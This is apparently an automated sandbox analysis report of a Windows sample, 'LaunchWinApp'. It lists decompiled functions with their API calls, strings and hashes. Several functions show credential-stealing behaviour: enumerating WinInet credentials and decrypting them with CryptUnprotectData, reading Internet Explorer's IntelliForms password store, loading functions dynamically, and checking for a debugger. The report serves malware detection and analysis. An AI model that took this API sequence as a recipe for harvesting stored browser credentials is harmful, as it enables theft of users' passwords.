Opcode Fuzzy Hash: 71f0ac93415e5f4f7549831106420273038b00db0d05cbc81885933dc66d2219
Instruction Fuzzy Hash: 35518DB1900208EFEB10DF95D985AEEBBB8FF48308F10452FF515A7281D7789A44CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0043EB1A Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 469COMMON

Download Yara Rule

Strings

UT, xrefs: 0043EDF5
/, xrefs: 0043EBB1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: b1f2ce15b8cc195593407b982e4e7d836e8813fe144ab9c5915432487165c722
Instruction ID: 734a6b51efb159dbdb7144a49b03714174e6699667316ce73f244b3ddfe6a663
Opcode Fuzzy Hash: b1f2ce15b8cc195593407b982e4e7d836e8813fe144ab9c5915432487165c722
Instruction Fuzzy Hash: CD02B070A093419FDB25DF6AD4807ABB7E4AF98308F14182FF48587391D778E849CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00429E5B Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 327fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00429E60
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000), ref: 00429F69
CloseHandle.KERNEL32(00000000), ref: 00429F77
GetFileSize.KERNEL32(00000000,00000000), ref: 00429FB3
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00429FDC
CloseHandle.KERNEL32(00000000), ref: 00429FE3

Part of subcall function 0040C9FC: CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA0F
Part of subcall function 0040C9FC: DeleteFileTransactedA.KERNEL32 ref: 0040CA26
Part of subcall function 0040C9FC: CommitTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA31

Strings

B, xrefs: 00429F86
2}GFU][\Uaa~, xrefs: 0042A066
==", xrefs: 0042A149
n', xrefs: 0042A139

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTransaction$CommitDeleteH_prologReadSizeTransacted
String ID: =="$2}GFU][\Uaa~$B$n'
API String ID: 604483397-4222534369
Opcode ID: d354a35def5997a6f0156d64622d00e4d6aaf0f2cfa2baa623f6355808a2a2b0
Instruction ID: e964633260066af86b69287bc051fd38dc850982c8e0325e30202a6175a52b5f
Opcode Fuzzy Hash: d354a35def5997a6f0156d64622d00e4d6aaf0f2cfa2baa623f6355808a2a2b0
Instruction Fuzzy Hash: F8E1B130D042ACDEDB15DFA5D991BEDBBB0AF19304F5041AEE44977242DB741A88CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 00429097 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97stringencryptionCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 004290BD
lstrlenW.KERNEL32(00000002), ref: 004290CE
CredEnumerateW.ADVAPI32(Microsoft_WinInet_*,00000000,?,?), ref: 004290F7
CryptUnprotectData.CRYPT32(?,00000000,0000004A,00000000,00000000,00000001,?), ref: 0042913D
LocalFree.KERNEL32(?), ref: 00429167
CredFree.ADVAPI32(?), ref: 00429180

Strings

J, xrefs: 004290D7
Microsoft_WinInet_*, xrefs: 004290F2
abe2869f-9b47-4cd9-a358-c22904dba7f7, xrefs: 004290AB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CredFreelstrlen$CryptDataEnumerateLocalUnprotect
String ID: J$Microsoft_WinInet_*$abe2869f-9b47-4cd9-a358-c22904dba7f7
API String ID: 186292201-3120203912
Opcode ID: 3d6e05453ca36ef28b1a1fb20acb275e22e23f72648fef2811ac9892053820c1
Instruction ID: 46da6d1e1e4c1d9fa259467267a865b5dbdaaeac394ed03f94105f50f9ff9f91
Opcode Fuzzy Hash: 3d6e05453ca36ef28b1a1fb20acb275e22e23f72648fef2811ac9892053820c1
Instruction Fuzzy Hash: 86315975E00229ABDB20CF96DC44DEFBBB8FF84740F54416AE901E3240E7749A05DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0043543D Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 199stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004354F8
lstrlenW.KERNEL32(00000010), ref: 00435502
lstrlenA.KERNEL32(?), ref: 0043553F
lstrlenA.KERNEL32(?), ref: 00435576
lstrlenA.KERNEL32(7B741A18), ref: 004355BA
lstrlenW.KERNEL32(00000000), ref: 004355F7

Part of subcall function 00435E7F: lstrlenA.KERNEL32(?,?,74E069A0,?,?), ref: 00435EB0
Part of subcall function 00435E7F: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0,?,?), ref: 00435ECF
Part of subcall function 00435E7F: lstrcpyA.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0,?,?), ref: 00435EF2
Part of subcall function 00435E7F: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0), ref: 00435F1E

lstrlenA.KERNEL32(00004169), ref: 00435634

Part of subcall function 00435F3C: lstrlenA.KERNEL32(?,?,?,?,?,?,?,00428B6A,00000001,?,ftp://,00000006,?,Microsoft_WinInet_,00000012), ref: 00435F61
Part of subcall function 00435F3C: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,?,?,00428B6A,00000001,?,ftp://,00000006,?,Microsoft_WinInet_,00000012), ref: 00435F88

Strings

iA, xrefs: 0043563B
iA, xrefs: 0043560E
+Ad, xrefs: 004354B8

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: lstrlen$ByteCharMultiWidelstrcpy$wsprintf
String ID: +Ad$iA$iA
API String ID: 130686893-3715399877
Opcode ID: 0272228fbd7f5ad80ad8a7eade8451fcc5e475fb4778d745f88251d1b588bb5e
Instruction ID: d2ec03cfa7f90dffe389adf4d9b83abec7bd8b7b27b7b22094a6bf51b2e2e627
Opcode Fuzzy Hash: 0272228fbd7f5ad80ad8a7eade8451fcc5e475fb4778d745f88251d1b588bb5e
Instruction Fuzzy Hash: AF8118309082C8AADF05CFB9D455AEEBFF1AF1D300F14909EF485AB252D6388645C769

Uniqueness

Uniqueness Score: -1.00%

Function 0041EA4E Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 404timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041DD17: SetFilePointer.KERNEL32(?,?,00000000,?), ref: 0041DD4A

_strcat.LIBCMT ref: 0041EBC1
_strcat.LIBCMT ref: 0041EC3C
SystemTimeToFileTime.KERNEL32(?,000007BC), ref: 0041ED91
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0041EDB1

Strings

\..\, xrefs: 0041EBEB
\../, xrefs: 0041EC01
/..\, xrefs: 0041EC23
/../, xrefs: 0041EC12

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: FileTime$_strcat$LocalPointerSystem
String ID: /../$/..\$\../$\..\
API String ID: 3418985325-3885502717
Opcode ID: 9387db5073cd8404cd268d813a8e74c48ac0cb7fa5b9ac1158c2120cf5236bf3
Instruction ID: ba9cba0db156075782e8858f275b67d869004db28f1c742aedc9c47af07deda8
Opcode Fuzzy Hash: 9387db5073cd8404cd268d813a8e74c48ac0cb7fa5b9ac1158c2120cf5236bf3
Instruction Fuzzy Hash: FDE1D3759087418FD315CF26C4816D7BBE0AF89314F148A2FE899C7341D739E986CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00410F9C Relevance: 14.0, APIs: 9, Instructions: 470libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00410FA1
GetProcAddress.KERNEL32(?,?), ref: 00410FEC
GetProcAddress.KERNEL32(?,?), ref: 0041101E
GetProcAddress.KERNEL32(?,?), ref: 0041105D
GetProcAddress.KERNEL32(?,?), ref: 00411095
GetProcAddress.KERNEL32(?,?), ref: 004110CA
GetProcAddress.KERNEL32(?,?), ref: 004110FB
GetProcAddress.KERNEL32(?,E0FDFF73), ref: 0041113D
wsprintfA.USER32 ref: 004111A1

Part of subcall function 00413BEF: __EH_prolog.LIBCMT ref: 00413BF4

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Part of subcall function 0041162F: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041165D

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressProc$H_prolog$DeallocateIos_base_dtorstd::ios_base::_wsprintf
String ID:
API String ID: 3613913591-0
Opcode ID: 4390f5a07a2bd3a7eee0ff5498a593cec8a8b56d24064274bdfd79062cafc080
Instruction ID: 758ba7fdaccef8edf01de24b5b74b8cbf72a257d6a414aa4bea21b6aeea485d1
Opcode Fuzzy Hash: 4390f5a07a2bd3a7eee0ff5498a593cec8a8b56d24064274bdfd79062cafc080
Instruction Fuzzy Hash: C4122330D0429C9BDF11DFB8D9406EEBBB0BF69304F1091AEE544B7262DB740A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00462E64 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

GetACP.KERNEL32(?,?,?,?,?,?,00455E83,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00462F25
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00455E83,?,?,?,00000055,?,-00000050,?,?), ref: 00462F50
_wcschr.LIBVCRUNTIME ref: 00462FE4
_wcschr.LIBVCRUNTIME ref: 00462FF2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 004630B3

Strings

|GG, xrefs: 00462EA6
utf8, xrefs: 00463022

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8$|GG
API String ID: 4147378913-4084338441
Opcode ID: 47e3761b47bb7842e3629306377efccd91bf543341982b126fd25e1b60e97c39
Instruction ID: 42cc7082675b3301b59f324c5bd175515f8ba15f067a0340a9b873ebd6ba17f8
Opcode Fuzzy Hash: 47e3761b47bb7842e3629306377efccd91bf543341982b126fd25e1b60e97c39
Instruction Fuzzy Hash: C871F471600702AAD729AF25CD42BAB73A8EF04705F14442FF90597282FBBCDA45966B

Uniqueness

Uniqueness Score: -1.00%

Function 004637C5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

Part of subcall function 0045A1CF: _free.LIBCMT ref: 0045A231
Part of subcall function 0045A1CF: _free.LIBCMT ref: 0045A267

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 004638D1
IsValidCodePage.KERNEL32(00000000), ref: 0046391A
IsValidLocale.KERNEL32(?,00000001), ref: 00463929
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00463971
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00463990

Strings

|GG, xrefs: 0046382A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: |GG
API String ID: 949163717-4113188311
Opcode ID: 8293694dfaad0731f9dc1728cc7cc249046cccc7a0904f4c8631b54ac7bc6bf8
Instruction ID: 7b075af0e1f3b883ebceb8b8bcf3ac014785394346bcbcdf59012bb3824b76cc
Opcode Fuzzy Hash: 8293694dfaad0731f9dc1728cc7cc249046cccc7a0904f4c8631b54ac7bc6bf8
Instruction Fuzzy Hash: EF517471A00255ABEB10EFA5CC41AEB77F8AF05702F14446AF901E7251F778DA04DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00434E00 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 71libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 00434E3F
GetProcAddress.KERNEL32(00000000,?), ref: 00434E7A
FreeLibrary.KERNEL32(00000000), ref: 00434EAE

Strings

2bAF, xrefs: 00434E0A
]@WQ, xrefs: 00434E14
n{ty, xrefs: 00434E58

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: 2bAF$]@WQ$n{ty
API String ID: 145871493-2023198426
Opcode ID: d42642a94ddbf582ce90afb358b753f937b6f796c13d6721f85c4935e2183fbd
Instruction ID: 66faf69fcd4e163ae5e383dc3bc76a0fc325b275116ca891f1668fcab282a65c
Opcode Fuzzy Hash: d42642a94ddbf582ce90afb358b753f937b6f796c13d6721f85c4935e2183fbd
Instruction Fuzzy Hash: DC21F630A042499FDB01CFA998418EFFBBAFE9A304F14546DE841A7241DB749E05C769

Uniqueness

Uniqueness Score: -1.00%

Function 004378ED Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 352registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004378F2
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020119,?), ref: 00437992
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?), ref: 004379E0
RegCloseKey.ADVAPI32(?), ref: 004379E9

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Strings

., xrefs: 00437B3D

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CloseDeallocateH_prologOpenQueryValue
String ID: .
API String ID: 2130659939-4148933962
Opcode ID: 6a96e084f5345863b5b2352e82a2953bf364d17b60e4ed1fe5cbc0816df5c4fd
Instruction ID: e6a93da5d0dddd1e599897279ccf8d5efee9ba0f5de51334628491e7991f3a57
Opcode Fuzzy Hash: 6a96e084f5345863b5b2352e82a2953bf364d17b60e4ed1fe5cbc0816df5c4fd
Instruction Fuzzy Hash: 14D106B0D042489EEF21DFA5C890BFEBBB8AF18304F10515FD49677282D7781A49CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00435D8C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 99registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\IntelliForms\Storage2,00000000,00000100,00000100,?,00000000), ref: 00435DD4
RegQueryValueExW.ADVAPI32(00000100,?,00000000,?,00000000,00000000,?,00000000), ref: 00435DF3
RegQueryValueExW.ADVAPI32(00000100,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00435E2E
RegCloseKey.ADVAPI32(00000100,?,00000000), ref: 00435E4F

Part of subcall function 00445EF8: _free.LIBCMT ref: 00445F0B

Strings

Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 00435DD2

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen_free
String ID: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
API String ID: 3744367872-680441574
Opcode ID: a0a582c8bfee2c34f2c34f5bf2e611008121bb9d7ee6b2939e03348ce03c6877
Instruction ID: b231dc592b3246f1444600c4c8ee4bed252f254ea0d2f855507d8241317e4857
Opcode Fuzzy Hash: a0a582c8bfee2c34f2c34f5bf2e611008121bb9d7ee6b2939e03348ce03c6877
Instruction Fuzzy Hash: 0B319175600619ABEF20CF55DC85BAF77B8EF08754F208026FD08A7250E779DE008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004635F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0046390E,00000002,00000000,?,?,?,0046390E,?,00000000), ref: 00463689
GetLocaleInfoW.KERNEL32(?,20001004,0046390E,00000002,00000000,?,?,?,0046390E,?,00000000), ref: 004636B2
GetACP.KERNEL32(?,?,0046390E,?,00000000), ref: 004636C7

Strings

ACP, xrefs: 0046360E
OCP, xrefs: 00463644

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 6d70802b8e0748aac78b8cc8b8bcb97d194cd492f334e2568a9e713431918b22
Instruction ID: 26f12fdab3d7c7ffa45844b813dfb83a3ca93b537430f194767bfc0a99a1f939
Opcode Fuzzy Hash: 6d70802b8e0748aac78b8cc8b8bcb97d194cd492f334e2568a9e713431918b22
Instruction Fuzzy Hash: 9221C272A00180B6DB348F15C905AA7B2A6EF90F66B568426E90ADB310F776DF41C35B

Uniqueness

Uniqueness Score: -1.00%

Function 0042918B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0046ED30,00000000,00000015,0046ED50,?), ref: 004291AB
StrStrIW.SHLWAPI(?,0047DB6C), ref: 004291FC
CoTaskMemFree.OLE32(?), ref: 0042921A
CoTaskMemFree.OLE32(?), ref: 00429228

Strings

(, xrefs: 004291E0

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: FreeTask$CreateInstance
String ID: (
API String ID: 2903366249-3887548279
Opcode ID: 7d5e94c655667be3979e1e8fedbd8b6ef92e01f5443a8e666515123bb5cffa43
Instruction ID: 5109e8e6b44d2813c87aee92a0d232a4875f8c1a44229cb3765ee013b6285d56
Opcode Fuzzy Hash: 7d5e94c655667be3979e1e8fedbd8b6ef92e01f5443a8e666515123bb5cffa43
Instruction Fuzzy Hash: 8421F774E00219FFDB04DF95E884D9EB7B9EF88704F5084AAE405A7260EA749D40CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0043F85B Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(000000FF,?,00415450,?,7FFFFFFF,?,00000000,00415155,?,?,?,004145D7,00415155,00000000,00415155,?), ref: 0043F867
FindFirstFileExW.KERNEL32(000000FF,00000001,?,00000000,00000000,00000000,?,?,?,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0043F897
GetLastError.KERNEL32(?,?,?,?,00415450,?,7FFFFFFF,?,00000000,00415155,?,?,?,004145D7,00415155,00000000), ref: 0043F8A4
FindFirstFileExW.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,?,?,?,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0043F8BE
GetLastError.KERNEL32(?,?,?,?,00415450,?,7FFFFFFF,?,00000000,00415155,?,?,?,004145D7,00415155,00000000), ref: 0043F8CB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Find$ErrorFileFirstLast$Close
String ID:
API String ID: 569926201-0
Opcode ID: 6b894fbdb204cbf846239aa35b632590d8d2424d41b7f67d8321b018e83483af
Instruction ID: 38a7b95dc9a23645a4718a4e9a30046f38f65371f8663844366267c5f59bbd3b
Opcode Fuzzy Hash: 6b894fbdb204cbf846239aa35b632590d8d2424d41b7f67d8321b018e83483af
Instruction Fuzzy Hash: 90019235400149BBCB282F67DC0CC5B3FB9EFD6721F10453AF668851A0D7718855D769

Uniqueness

Uniqueness Score: -1.00%

Function 004412D2 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004412DE
IsDebuggerPresent.KERNEL32 ref: 004413AA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004413CA
UnhandledExceptionFilter.KERNEL32(?), ref: 004413D4

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 04665d6d43c7ac8714bac8cc9f601c9bb9303fa4e2f9adc7771d828139cffd59
Instruction ID: 6cb868b1b31622d64aff2a58c3faceb2e9e6082c713637c9a94abe31f1f70b7b
Opcode Fuzzy Hash: 04665d6d43c7ac8714bac8cc9f601c9bb9303fa4e2f9adc7771d828139cffd59
Instruction Fuzzy Hash: 7F310975D053189BEF10DFA5D989BCDBBB8BF04305F1041EAE40DAB250EB755A858F09

Uniqueness

Uniqueness Score: -1.00%

Function 00463277 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

Part of subcall function 0045A1CF: _free.LIBCMT ref: 0045A231
Part of subcall function 0045A1CF: _free.LIBCMT ref: 0045A267

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004632CB
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00463315
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004633DB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 53e453c7ba0ddf64dbc147be73cf2c4c72c241aac9d4c4bca2a911a0ab014b79
Instruction ID: d8de431fd77d7e3a42ab5c7856648c25a0553a4b276bc90305d36d373cd96f94
Opcode Fuzzy Hash: 53e453c7ba0ddf64dbc147be73cf2c4c72c241aac9d4c4bca2a911a0ab014b79
Instruction Fuzzy Hash: 466180715002479BDB299F25CC82BAAB7A8EF04316F10407BED05C6285FB7CDA95CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041FC20 Relevance: 4.6, APIs: 3, Instructions: 134encryptionCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041FC25
_strlen.LIBCMT ref: 0041FCD7
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0041FCDF

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: BinaryCryptH_prologString_strlen
String ID:
API String ID: 2573900957-0
Opcode ID: d876a313230a741ff4752e4b8e0d6d89069382718eb39a06524170caf6f4bee5
Instruction ID: 30fc563031dc390df11cbf63ba8f43ab05457e15c5d2f07d0df8c6dc27800da0
Opcode Fuzzy Hash: d876a313230a741ff4752e4b8e0d6d89069382718eb39a06524170caf6f4bee5
Instruction Fuzzy Hash: 2E416371D00209ABDB10DFE5D880AFEBBB9BF48754F14447EE405A3241DB788A8ACB65

Uniqueness

Uniqueness Score: -1.00%

Function 0043771D Relevance: 4.6, APIs: 3, Instructions: 102timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00437722
GetTimeZoneInformation.KERNEL32(?), ref: 0043773F

Part of subcall function 00413CEE: __EH_prolog.LIBCMT ref: 00413CF3

Part of subcall function 004143A6: __EH_prolog.LIBCMT ref: 004143AB
Part of subcall function 004143A6: std::locale::_Init.LIBCPMT ref: 004143C9

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00437891

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog$InformationInitIos_base_dtorTimeZonestd::ios_base::_std::locale::_
String ID:
API String ID: 3259846166-0
Opcode ID: cac1b8ef2e3892b99b9ff9710bab06e194a04e6a37be70c6d0b7071410d40a70
Instruction ID: 49212a8f76eade8df1ceb4ba9dfcc4c806aa3b33319c6a7e4e9b40765fb815e9
Opcode Fuzzy Hash: cac1b8ef2e3892b99b9ff9710bab06e194a04e6a37be70c6d0b7071410d40a70
Instruction Fuzzy Hash: 39417EB0D00258CBDB51DFA9C8587EEBBB5BF48304F1085AAD849B7241EB785A88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00446AC8 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0043FE4F), ref: 00446BC0
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0043FE4F), ref: 00446BCA
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,0043FE4F), ref: 00446BD7

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 0a62add7c9224d1a7727230dcc9c92a8e236b04846d8123e65f83c369a532e67
Instruction ID: 38e48dfca66287e1076b4f5b8b40bbc9249928b9d9e53c97f42146288e89e7fe
Opcode Fuzzy Hash: 0a62add7c9224d1a7727230dcc9c92a8e236b04846d8123e65f83c369a532e67
Instruction Fuzzy Hash: 5C310574901328ABDB21DF25DC88B9DBBB8BF08314F5045EAE41CA7261E7749F858F49

Uniqueness

Uniqueness Score: -1.00%

Function 00447699 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00447698,000000FF,?,UQA,000000FF,00415155,?), ref: 004476BB
TerminateProcess.KERNEL32(00000000,?,00447698,000000FF,?,UQA,000000FF,00415155,?), ref: 004476C2
ExitProcess.KERNEL32 ref: 004476D4

Memory Dump Source

